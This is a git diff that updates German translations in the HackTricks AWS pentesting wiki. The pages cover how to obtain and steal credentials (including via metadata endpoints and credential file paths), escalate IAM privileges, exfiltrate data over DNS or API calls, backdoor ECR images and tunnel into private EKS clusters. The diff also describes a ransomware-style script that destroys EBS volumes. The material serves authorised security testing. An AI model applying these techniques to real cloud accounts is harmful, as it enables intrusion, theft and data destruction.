mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 06:30:35 -08:00
Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains
This commit is contained in:
@@ -29,21 +29,21 @@ Tools zur Simulation von Angriffen:
|
||||
|
||||
## AWS Pentester/Red Team Methodologie
|
||||
|
||||
Um eine AWS-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert wird**, wer **Zugriff** auf was hat und wie interne AWS-Dienste mit **externen Diensten** verbunden sind.
|
||||
Um eine AWS-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert** ist, wer **Zugriff** auf was hat und wie interne AWS-Dienste mit **externen Diensten** verbunden sind.
|
||||
|
||||
Aus der Sicht eines Red Teams ist der **erste Schritt, um eine AWS-Umgebung zu kompromittieren**, die **Erlangung von Anmeldeinformationen**. Hier sind einige Ideen, wie Sie das tun können:
|
||||
Aus der Sicht eines Red Teams ist der **erste Schritt, um eine AWS-Umgebung zu kompromittieren**, das Erlangen von **Anmeldeinformationen**. Hier sind einige Ideen, wie Sie das tun können:
|
||||
|
||||
- **Leaks** in github (oder ähnlichem) - OSINT
|
||||
- **Leaks** in GitHub (oder ähnlichem) - OSINT
|
||||
- **Soziale** Ingenieurkunst
|
||||
- **Passwort**-Wiederverwendung (Passwortlecks)
|
||||
- Schwachstellen in AWS-gehosteten Anwendungen
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) mit Zugriff auf den Metadaten-Endpunkt
|
||||
- **Lokales Datei Lesen**
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) mit Zugriff auf den Metadaten-Endpunkt
|
||||
- **Lokales Datei-Lesen**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3rd Party **gehackt**
|
||||
- **Interner** Mitarbeiter
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)Anmeldeinformationen
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)Anmeldeinformationen
|
||||
|
||||
Oder durch **Kompromittierung eines nicht authentifizierten Dienstes**, der exponiert ist:
|
||||
|
||||
@@ -64,10 +64,10 @@ aws-permissions-for-a-pentest.md
|
||||
|
||||
### SSRF
|
||||
|
||||
Wenn Sie ein SSRF auf einem Rechner innerhalb von AWS gefunden haben, überprüfen Sie diese Seite für Tricks:
|
||||
Wenn Sie ein SSRF auf einer Maschine innerhalb von AWS gefunden haben, überprüfen Sie diese Seite für Tricks:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### Whoami
|
||||
@@ -90,7 +90,7 @@ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Beachten Sie, dass Unternehmen **Canary-Tokens** verwenden könnten, um zu identifizieren, wann **Tokens gestohlen und verwendet werden**. Es wird empfohlen, zu überprüfen, ob ein Token ein Canary-Token ist, bevor Sie es verwenden.\
|
||||
> Für weitere Informationen [**sehen Sie sich diese Seite an**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
> Für weitere Informationen [**prüfen Sie diese Seite**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Org Enumeration
|
||||
|
||||
@@ -102,8 +102,8 @@ aws-services/aws-organizations-enum.md
|
||||
|
||||
Wenn Sie genügend Berechtigungen haben, wird das **Überprüfen der Berechtigungen jeder Entität im AWS-Konto** Ihnen helfen zu verstehen, was Sie und andere Identitäten tun können und wie Sie **Berechtigungen eskalieren** können.
|
||||
|
||||
Wenn Sie nicht genügend Berechtigungen haben, um IAM zu enumerieren, können Sie **sie bruteforcen**, um sie herauszufinden.\
|
||||
Überprüfen Sie **wie man die Enumeration und das Bruteforcing durchführt** in:
|
||||
Wenn Sie nicht genügend Berechtigungen haben, um IAM zu enumerieren, können Sie **sie stehlen und bruteforcen**, um sie herauszufinden.\
|
||||
Überprüfen Sie **wie man die Enumeration und das Brute-Forcing durchführt** in:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-iam-enum.md
|
||||
@@ -121,7 +121,7 @@ AWS hat eine erstaunliche Anzahl von Diensten. Auf der folgenden Seite finden Si
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
Beachten Sie, dass Sie **nicht** die gesamte Arbeit **manuell** durchführen müssen. Unten in diesem Beitrag finden Sie einen **Abschnitt über** [**automatische Tools**](./#automated-tools).
|
||||
Beachten Sie, dass Sie **nicht** die gesamte Arbeit **manuell** durchführen müssen. Unten in diesem Beitrag finden Sie einen **Abschnitt über** [**automatische Tools**](#automated-tools).
|
||||
|
||||
Darüber hinaus könnten Sie in diesem Stadium **weitere Dienste entdeckt haben, die für nicht authentifizierte Benutzer exponiert sind**, die Sie möglicherweise ausnutzen können:
|
||||
|
||||
@@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
Wenn Sie **mindestens Ihre eigenen Berechtigungen** über verschiedene Ressourcen überprüfen können, könnten Sie **überprüfen, ob Sie weitere Berechtigungen erhalten können**. Sie sollten sich mindestens auf die in:
|
||||
Wenn Sie **mindestens Ihre eigenen Berechtigungen** über verschiedene Ressourcen überprüfen können, könnten Sie **überprüfen, ob Sie weitere Berechtigungen erhalten können**. Sie sollten sich mindestens auf die in folgenden Links angegebenen Berechtigungen konzentrieren:
|
||||
|
||||
{{#ref}}
|
||||
aws-privilege-escalation/
|
||||
@@ -140,17 +140,17 @@ aws-privilege-escalation/
|
||||
## Publicly Exposed Services
|
||||
|
||||
Während Sie AWS-Dienste enumerieren, haben Sie möglicherweise einige gefunden, die **Elemente ins Internet exponieren** (VM/Container-Ports, Datenbanken oder Warteschlangendienste, Snapshots oder Buckets...).\
|
||||
Als Pentester/Red Teamer sollten Sie immer überprüfen, ob Sie **sensible Informationen / Schwachstellen** darin finden können, da sie Ihnen **weiteren Zugang zum AWS-Konto** verschaffen könnten.
|
||||
Als Pentester/Red Teamer sollten Sie immer überprüfen, ob Sie **sensible Informationen / Schwachstellen** auf ihnen finden können, da sie Ihnen **weiteren Zugang zum AWS-Konto** verschaffen könnten.
|
||||
|
||||
In diesem Buch sollten Sie **Informationen** darüber finden, wie man **exponierte AWS-Dienste findet und wie man sie überprüft**. Über das Finden von **Schwachstellen in exponierten Netzwerkdiensten** würde ich Ihnen empfehlen, nach dem spezifischen **Dienst** in:
|
||||
In diesem Buch sollten Sie **Informationen** darüber finden, wie man **exponierte AWS-Dienste findet und wie man sie überprüft**. Über das Finden von **Schwachstellen in exponierten Netzwerkdiensten** würde ich Ihnen empfehlen, nach dem spezifischen **Dienst** zu **suchen** in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/
|
||||
https://book.hacktricks.wiki/
|
||||
{{#endref}}
|
||||
|
||||
## Compromising the Organization
|
||||
|
||||
### Vom Root-/Management-Konto
|
||||
### From the root/management account
|
||||
|
||||
Wenn das Management-Konto neue Konten in der Organisation erstellt, wird eine **neue Rolle** im neuen Konto erstellt, standardmäßig benannt **`OrganizationAccountAccessRole`** und gibt der **Management-Konto** die **AdministratorAccess**-Richtlinie, um auf das neue Konto zuzugreifen.
|
||||
|
||||
@@ -239,8 +239,8 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Entdecken Sie die privilegiertesten Benutzer in der gescannten AWS-Umgebung, einschließlich der AWS Shadow Admins. Es verwendet PowerShell. Sie finden die **Definition privilegierter Richtlinien** in der Funktion **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu ist ein Open-Source-**AWS-Exploitation-Framework**, das für offensive Sicherheitstests in Cloud-Umgebungen entwickelt wurde. Es kann **enumerieren**, **Fehlkonfigurationen** finden und diese **ausnutzen**. Sie finden die **Definition privilegierter Berechtigungen** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) im **`user_escalation_methods`** dict.
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Entdecken Sie die privilegiertesten Benutzer in der gescannten AWS-Umgebung, einschließlich der AWS Shadow Admins. Es verwendet PowerShell. Sie können die **Definition privilegierter Richtlinien** in der Funktion **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1) finden.
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu ist ein Open-Source-**AWS-Exploitation-Framework**, das für offensive Sicherheitstests in Cloud-Umgebungen entwickelt wurde. Es kann **enumerieren**, **Fehlkonfigurationen** finden und diese **ausnutzen**. Sie können die **Definition privilegierter Berechtigungen** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) im **`user_escalation_methods`** dict finden.
|
||||
- Beachten Sie, dass pacu **nur Ihre eigenen Privesc-Pfade überprüft** (nicht kontoweit).
|
||||
```bash
|
||||
# Install
|
||||
@@ -255,7 +255,7 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ist ein Skript und eine Bibliothek zur Identifizierung von Risiken in der Konfiguration von AWS Identity and Access Management (IAM) für ein AWS-Konto oder eine AWS-Organisation. Es modelliert die verschiedenen IAM-Benutzer und -Rollen in einem Konto als gerichteten Graphen, was Überprüfungen auf **Privilegienausweitung** und auf alternative Wege ermöglicht, die ein Angreifer nutzen könnte, um Zugriff auf eine Ressource oder Aktion in AWS zu erhalten. Sie können die **Berechtigungen überprüfen, die verwendet werden, um privesc**-Pfad in den Dateinamen, die mit `_edges.py` enden, in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ist ein Skript und eine Bibliothek zur Identifizierung von Risiken in der Konfiguration von AWS Identity and Access Management (IAM) für ein AWS-Konto oder eine AWS-Organisation. Es modelliert die verschiedenen IAM-Benutzer und -Rollen in einem Konto als gerichteten Graphen, was Überprüfungen auf **Privilegieneskalation** und auf alternative Wege ermöglicht, die ein Angreifer nutzen könnte, um Zugriff auf eine Ressource oder Aktion in AWS zu erhalten. Sie können die **Berechtigungen, die verwendet werden, um privesc**-Pfad zu finden, in den Dateinamen, die mit `_edges.py` enden, überprüfen in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining ist ein AWS IAM-Sicherheitsbewertungstool, das Verstöße gegen das Prinzip der minimalen Berechtigung identifiziert und einen risikopriorisierten HTML-Bericht erstellt.\
|
||||
Es zeigt Ihnen potenziell **überprivilegierte** Kunden, Inline- und AWS-**Richtlinien** und welche **Prinzipale Zugriff darauf haben**. (Es überprüft nicht nur auf Privesc, sondern auch auf andere interessante Berechtigungen, die empfohlen werden zu verwenden).
|
||||
Es zeigt Ihnen potenziell **überprivilegierte** Kunden, Inline- und AWS-**Richtlinien** und welche **Prinzipien Zugriff darauf haben**. (Es überprüft nicht nur auf Privesc, sondern auch auf andere interessante Berechtigungen, die empfohlen werden zu verwenden).
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -290,9 +290,9 @@ cloudsplaining download --profile dev
|
||||
# Analyze the IAM policies
|
||||
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
|
||||
```
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack bewertet AWS-Konten auf **Subdomain-Hijacking-Schwachstellen** aufgrund von entkoppelten Route53- und CloudFront-Konfigurationen.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Liste ECR-Repos -> Ziehe ECR-Repo -> Hintertür -> Pushe das hintertürige Image
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ist ein Tool, das **in öffentlichen Elastic Block Storage (EBS) Snapshots nach Geheimnissen sucht**, die möglicherweise versehentlich hinterlassen wurden.
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack bewertet AWS-Konten auf **Verwundbarkeiten durch Subdomain-Hijacking** aufgrund von entkoppelten Route53- und CloudFront-Konfigurationen.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Liste ECR-Repos -> Ziehe ECR-Repo -> Hintertür -> Push hintertüriges Image
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ist ein Tool, das **in öffentlichen Elastic Block Storage (**EBS) Snapshots nach Geheimnissen sucht**, die möglicherweise versehentlich hinterlassen wurden.
|
||||
|
||||
### Audit
|
||||
|
||||
@@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
|
||||
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
|
||||
## use "cis" for cis level 1 and 2
|
||||
```
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ist ein Open Source-Sicherheitswerkzeug zur Durchführung von Bewertungen, Audits, Incident Response, kontinuierlicher Überwachung, Härtung und forensischer Bereitschaft in Bezug auf AWS-Sicherheitsbest Practices.
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ist ein Open-Source-Sicherheitswerkzeug zur Durchführung von Bewertungen, Audits, Incident-Response, kontinuierlicher Überwachung, Härtung und forensischer Bereitschaft in Bezug auf AWS-Sicherheitsbest Practices.
|
||||
```bash
|
||||
# Install python3, jq and git
|
||||
# Install
|
||||
@@ -314,7 +314,7 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox hilft Ihnen, situative Wahrnehmung in unbekannten Cloud-Umgebungen zu erlangen. Es ist ein Open-Source-Befehlszeilenwerkzeug, das entwickelt wurde, um Penetrationstestern und anderen Fachleuten für offensive Sicherheit zu helfen, ausnutzbare Angriffswege in der Cloud-Infrastruktur zu finden.
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox hilft Ihnen, situative Wahrnehmung in unbekannten Cloud-Umgebungen zu erlangen. Es ist ein Open-Source-Befehlszeilenwerkzeug, das entwickelt wurde, um Penetrationstestern und anderen Fachleuten für offensive Sicherheit zu helfen, ausnutzbare Angriffswege in Cloud-Infrastrukturen zu finden.
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
@@ -335,8 +335,8 @@ scout aws -p dev
|
||||
### Ständige Prüfung
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian ist eine Regel-Engine zur Verwaltung öffentlicher Cloud-Konten und -Ressourcen. Es ermöglicht Benutzern, **Richtlinien zu definieren, um eine gut verwaltete Cloud-Infrastruktur** zu ermöglichen, die sowohl sicher als auch kosteneffizient ist. Es konsolidiert viele der Ad-hoc-Skripte, die Organisationen haben, in ein leichtgewichtiges und flexibles Tool mit einheitlichen Metriken und Berichterstattung.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ist eine Plattform für **kontinuierliche Compliance-Überwachung, Compliance-Berichterstattung und Sicherheitsautomatisierung für die Cloud**. In PacBot werden Sicherheits- und Compliance-Richtlinien als Code implementiert. Alle von PacBot entdeckten Ressourcen werden anhand dieser Richtlinien bewertet, um die Konformität mit den Richtlinien zu überprüfen. Das PacBot **Auto-Fix**-Framework bietet die Möglichkeit, automatisch auf Richtlinienverletzungen zu reagieren, indem vordefinierte Aktionen ausgeführt werden.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ist ein serverloses, **Echtzeit**-Datenanalyse-Framework, das es Ihnen ermöglicht, **Daten aus jeder Umgebung zu erfassen, zu analysieren und zu alarmieren**, **unter Verwendung von Datenquellen und Alarmierungslogik, die Sie definieren**. Computer-Sicherheitsteams verwenden StreamAlert, um täglich Terabytes von Protokolldaten auf Vorfälle zu scannen und darauf zu reagieren.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ist eine Plattform für **kontinuierliche Compliance-Überwachung, Compliance-Berichterstattung und Sicherheitsautomatisierung für die Cloud**. In PacBot werden Sicherheits- und Compliance-Richtlinien als Code implementiert. Alle von PacBot entdeckten Ressourcen werden anhand dieser Richtlinien bewertet, um die Konformität mit den Richtlinien zu überprüfen. Das PacBot **Auto-Fix**-Framework bietet die Möglichkeit, automatisch auf Richtlinienverletzungen zu reagieren, indem vordefinierte Maßnahmen ergriffen werden.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ist ein serverloses, **Echtzeit**-Datenanalyse-Framework, das es Ihnen ermöglicht, **Daten aus jeder Umgebung zu erfassen, zu analysieren und zu alarmieren**, **unter Verwendung von Datenquellen und Alarmierungslogik, die Sie definieren**. Computer-Sicherheitsteams verwenden StreamAlert, um täglich Terabytes von Protokolldaten auf Vorfallserkennung und -reaktion zu scannen.
|
||||
|
||||
## DEBUG: AWS CLI-Anfragen erfassen
|
||||
```bash
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
Für Informationen über SAML siehe bitte:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
Um eine **Identitätsföderation über SAML** zu konfigurieren, müssen Sie lediglich einen **Namen** und die **Metadaten-XML** bereitstellen, die alle SAML-Konfigurationen (**Endpunkte**, **Zertifikat** mit öffentlichem Schlüssel) enthält.
|
||||
@@ -45,7 +45,7 @@ Um eine Github-Aktion als Identitätsanbieter hinzuzufügen:
|
||||
}
|
||||
```
|
||||
6. Beachten Sie in der vorherigen Richtlinie, wie nur ein **Branch** aus dem **Repository** einer **Organisation** mit einem bestimmten **Trigger** autorisiert wurde.
|
||||
7. Die **ARN** der **Rolle**, die die Github-Aktion **nachahmen** kann, wird das "Geheimnis" sein, das die Github-Aktion kennen muss, also **speichern** Sie es in einem **Geheimnis** innerhalb einer **Umgebung**.
|
||||
7. Der **ARN** der **Rolle**, die die Github-Aktion **nachahmen** kann, wird das "Geheimnis" sein, das die Github-Aktion wissen muss, also **speichern** Sie es in einem **Geheimnis** innerhalb einer **Umgebung**.
|
||||
8. Verwenden Sie schließlich eine Github-Aktion, um die AWS-Anmeldeinformationen zu konfigurieren, die im Workflow verwendet werden sollen:
|
||||
```yaml
|
||||
name: "test AWS Access"
|
||||
@@ -108,9 +108,9 @@ Es ist möglich, **OIDC-Anbieter** in einem **EKS**-Cluster zu generieren, indem
|
||||
]
|
||||
}
|
||||
```
|
||||
Diese Richtlinie gibt korrekt an, dass **nur** der **EKS-Cluster** mit der **ID** `20C159CDF6F2349B68846BEC03BE031B` die Rolle übernehmen kann. Es wird jedoch nicht angegeben, welches Dienstkonto dies übernehmen kann, was bedeutet, dass **JEDES Dienstkonto mit einem Web-Identitätstoken** in der Lage sein wird, die Rolle zu **übernehmen**.
|
||||
Diese Richtlinie zeigt korrekt an, dass **nur** der **EKS-Cluster** mit der **ID** `20C159CDF6F2349B68846BEC03BE031B` die Rolle übernehmen kann. Es wird jedoch nicht angegeben, welches Dienstkonto dies übernehmen kann, was bedeutet, dass **JEDES Dienstkonto mit einem Web-Identitätstoken** die Rolle **übernehmen kann**.
|
||||
|
||||
Um anzugeben, **welches Dienstkonto die Rolle übernehmen sollte,** ist es erforderlich, eine **Bedingung** anzugeben, in der der **Dienstkontoname angegeben ist**, wie zum Beispiel:
|
||||
Um anzugeben, **welches Dienstkonto die Rolle übernehmen sollte,** ist es erforderlich, eine **Bedingung** anzugeben, in der der **Name des Dienstkontos angegeben ist**, wie zum Beispiel:
|
||||
```bash
|
||||
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
|
||||
```
|
||||
|
||||
@@ -47,7 +47,7 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
|
||||
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
```
|
||||
### EBS Snapshot-Dump
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots sind Backups von Volumes**, die normalerweise **sensible Informationen** enthalten, daher sollte die Überprüfung dieser Informationen offenbaren.\
|
||||
Wenn Sie ein **Volume ohne Snapshot** finden, könnten Sie: **Einen Snapshot erstellen** und die folgenden Aktionen durchführen oder es einfach **in einer Instanz** innerhalb des Kontos **einbinden**:
|
||||
@@ -56,11 +56,11 @@ Wenn Sie ein **Volume ohne Snapshot** finden, könnten Sie: **Einen Snapshot ers
|
||||
aws-ebs-snapshot-dump.md
|
||||
{{#endref}}
|
||||
|
||||
### Datenexfiltration
|
||||
### Data Exfiltration
|
||||
|
||||
#### DNS-Exfiltration
|
||||
#### DNS Exfiltration
|
||||
|
||||
Selbst wenn Sie eine EC2 so absichern, dass kein Verkehr nach außen gelangen kann, kann sie dennoch **über DNS exfiltrieren**.
|
||||
Selbst wenn Sie eine EC2 so absichern, dass kein Verkehr nach außen gelangen kann, kann sie immer noch **via DNS exfiltrieren**.
|
||||
|
||||
- **VPC Flow Logs werden dies nicht aufzeichnen**.
|
||||
- Sie haben keinen Zugriff auf AWS DNS-Logs.
|
||||
@@ -68,11 +68,11 @@ Selbst wenn Sie eine EC2 so absichern, dass kein Verkehr nach außen gelangen ka
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration über API-Aufrufe
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Kontos aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird in der Lage sein, die exfiltrierten Daten in den Cloudtrail-Logs zu sehen.
|
||||
|
||||
### Offene Sicherheitsgruppe
|
||||
### Open Security Group
|
||||
|
||||
Sie könnten weiteren Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:
|
||||
```bash
|
||||
@@ -104,7 +104,7 @@ Neben der Ausführung von Befehlen ermöglicht SSM das Tunneln von Datenverkehr,
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Holen Sie sich die temporären Anmeldeinformationen für die Bastion EC2 AWS mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) Skript
|
||||
3. Holen Sie sich die temporären Bastion EC2 AWS-Anmeldeinformationen mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) Skript
|
||||
4. Übertragen Sie die Anmeldeinformationen auf Ihren eigenen Computer in die Datei `$HOME/.aws/credentials` als `[bastion-ec2]` Profil
|
||||
5. Melden Sie sich bei EKS als Bastion EC2 an:
|
||||
```shell
|
||||
@@ -119,7 +119,7 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Beachten Sie, dass die SSL-Verbindungen fehlschlagen, es sei denn, Sie setzen das `--insecure-skip-tls-verify`-Flag (oder dessen Äquivalent in K8s-Audit-Tools). Da der Datenverkehr durch das sichere AWS SSM-Tunnel geleitet wird, sind Sie vor jeglichen MitM-Angriffen geschützt.
|
||||
Beachten Sie, dass die SSL-Verbindungen fehlschlagen, es sei denn, Sie setzen das Flag `--insecure-skip-tls-verify` (oder dessen Äquivalent in K8s-Audit-Tools). Da der Datenverkehr durch das sichere AWS SSM-Tunnel geleitet wird, sind Sie vor jeglichen MitM-Angriffen geschützt.
|
||||
|
||||
Schließlich ist diese Technik nicht spezifisch für Angriffe auf private EKS-Cluster. Sie können beliebige Domains und Ports festlegen, um zu einem anderen AWS-Dienst oder einer benutzerdefinierten Anwendung zu pivotieren.
|
||||
|
||||
@@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### Suche nach sensiblen Informationen in öffentlichen und privaten AMIs
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das entwickelt wurde, um **nach sensiblen Informationen in öffentlichen oder privaten Amazon Machine Images (AMIs)** zu suchen. Es automatisiert den Prozess des Startens von Instanzen aus Ziel-AMIs, des Einbindens ihrer Volumes und des Scannens nach potenziellen Geheimnissen oder sensiblen Daten.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das entwickelt wurde, um **nach sensiblen Informationen innerhalb öffentlicher oder privater Amazon Machine Images (AMIs)** zu suchen. Es automatisiert den Prozess des Startens von Instanzen aus Ziel-AMIs, des Einbindens ihrer Volumes und des Scannens nach potenziellen Geheimnissen oder sensiblen Daten.
|
||||
|
||||
### EBS-Snapshot teilen
|
||||
```bash
|
||||
@@ -332,7 +332,7 @@ Aber wenn Sie versuchen, die EC2-Instanz mit dem verschlüsselten EBS-Volume tat
|
||||
|
||||
 
|
||||
|
||||
Dies ist das verwendete Python-Skript. Es nimmt AWS-Credentials für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den Schlüssel, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLEN EC2-Instanzen im angezielten AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, trennt die ursprünglichen EBS-Volumes, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Dies hinterlässt nur verschlüsselte EBS-Volumes im angezielten 'Opfer'-Konto. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST ZERSTÖRERISCH UND WIRD ALLE ORIGINALEN EBS-VOLUMEN LÖSCHEN. Sie können sie mit dem verwendeten KMS-Schlüssel wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, möchten Sie jedoch darauf hinweisen, dass dies letztendlich ein Ransomware PoC ist.
|
||||
Dies ist das verwendete Python-Skript. Es nimmt AWS-Credentials für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den Schlüssel, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLEN EC2-Instanzen im angezielten AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, trennt die ursprünglichen EBS-Volumes, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Dies hinterlässt nur verschlüsselte EBS-Volumes im angezielten 'Opfer'-Konto. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST ZERSTÖRERISCH UND WIRD ALLE ORIGINALEN EBS-VOLUMEN LÖSCHEN. Sie können sie mit dem verwendeten KMS-Schlüssel wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, möchten Sie jedoch darauf hinweisen, dass dies letztendlich ein Ransomware-PoC ist.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
|
||||
@@ -49,7 +49,7 @@ aws ecr get-download-url-for-layer \
|
||||
Nachdem Sie die Bilder heruntergeladen haben, sollten Sie **sie auf sensible Informationen überprüfen**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
